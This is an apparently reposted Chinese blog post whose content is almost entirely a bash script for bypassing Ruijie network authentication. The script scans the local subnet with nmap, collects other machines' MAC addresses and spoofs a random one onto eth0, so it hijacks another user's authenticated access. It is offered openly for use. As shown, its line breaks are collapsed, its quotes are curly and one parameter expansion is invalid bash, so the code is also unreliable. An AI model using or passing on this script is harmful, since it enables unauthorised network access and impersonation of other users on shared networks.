linux 规避锐捷认证(版本二) Home » 编程开发 » linux 规避锐捷认证(版本二) linux 规避锐捷认证(版本二) Luo Weifeng 2011-4-25 http://blog.csdn.net/luoweifeng1989/archive/2011/04/25/6361798.aspx #! /usr/bin/sh############################################################### Project Name : RuiJieHacker # Author: luoweifeng1989 # Date: 2011-4-23 # All Rights Reserved. # Usage: bash ./HackerV2.0.sh 172.29.132.1##############################################################declare -a macs##############################################################[ ! -e /usr/bin/nmap ] && `sudo apt-get install nmap > /dev/null 2>&1`##############################################################[ ! -e /usr/bin/awk ] && `sudo apt-get install awk > /dev/null 2>&1`##############################################################macstmp=`sudo /usr/bin/nmap -sP ${$1:0:((`expr length $1`-1))}* | grep ‘MAC’ | awk ‘{print $3}’ -`##############################################################sudo /sbin/ifconfig eth0 down##############################################################for mac in $macstmp domacs[$i]=$mac(( i++ ))done##############################################################(( random=$RANDOM % ${#macs[@]} ))sudo /sbin/ifconfig eth0 hw ether ${macs[$random]}##############################################################sudo /sbin/ifconfig eth0 up 你不勇敢,没人替你坚强。